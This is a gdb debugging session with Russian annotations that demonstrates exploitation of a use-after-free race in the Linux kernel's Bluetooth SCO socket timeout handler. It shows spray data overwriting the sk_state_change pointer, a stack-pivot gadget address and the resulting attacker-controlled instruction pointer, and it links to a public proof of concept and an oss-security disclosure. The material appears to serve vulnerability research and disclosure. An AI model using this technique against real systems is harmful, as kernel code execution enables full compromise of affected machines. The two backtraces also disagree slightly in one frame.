GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) file vmlinxsef680 
Reading symbols from vmlinxsef680...
(gdb) target remote :1234
Remote debugging using :1234

Thread 4 (kworker/0:1):                                 
#0  0xdeadbeefcafebabe in ?? ()    ← RIP = нагрузка spray
#1  0xffffffff81019fc0 in xchg_eax_esp_ret ()  ← гаджет перестановки стека
#2  0xffffffff840e0134 in sco_sock_timeout+0x134 ()  ← сайт вызова sk->sk_state_change(sk)

(gdb) info registers
rax    0xdeadbeefcafebabe   ← значение sk_state_change, считанное из spray
rbx    0xffff88810ab8f000   ← адрес сокета (sk) после освобождения и spray
rcx    0xffffffff812ec563
rdx    0x1ffff11021571e94
rsi    0x00000000fffffe00
rdi    0xffff88810ab8f000   ← sk (1-й аргумент = указатель на сокет)
rsp    0xffff8881002cfcb8   ← стек ядра (до перестановки)
rip    0xdeadbeefcafebabe   ← КОНТРОЛИРУЕМЫЙ RIP!

(gdb) x/8gx $rdi
0xffff88810ab8f000: 0xdeadbeefcafebabe 0xdeadbeefcafebabe  ← данные spray
0xffff88810ab8f010: 0xdeadbeefcafebabe 0xdeadbeefcafebabe
0xffff88810ab8f020: 0xdeadbeefcafebabe 0xdeadbeefcafebabe

(gdb) x/gx $rdi+0x2a0
0xffff88810ab8f2a0: 0xdeadbeefcafebabe  ← sk_state_change = нагрузка spray

(gdb) bt
#0  0xdeadbeefcafebabe in ?? ()
#1  __x86_indirect_thunk_array+0xa () at retpoline
#2  sco_sock_timeout+0x134 () at net/bluetooth/sco.c:98
#3  process_one_work+0x7cb () at kernel/workqueue.c
#4  worker_thread+0x867 () at kernel/workqueue.c
#5  kthread+0x2bf () at kernel/kthread.c

Ссылки
https://github.com/qiutianshu/sco-race-condition
https://www.openwall.com/lists/oss-security/2024/11/29/1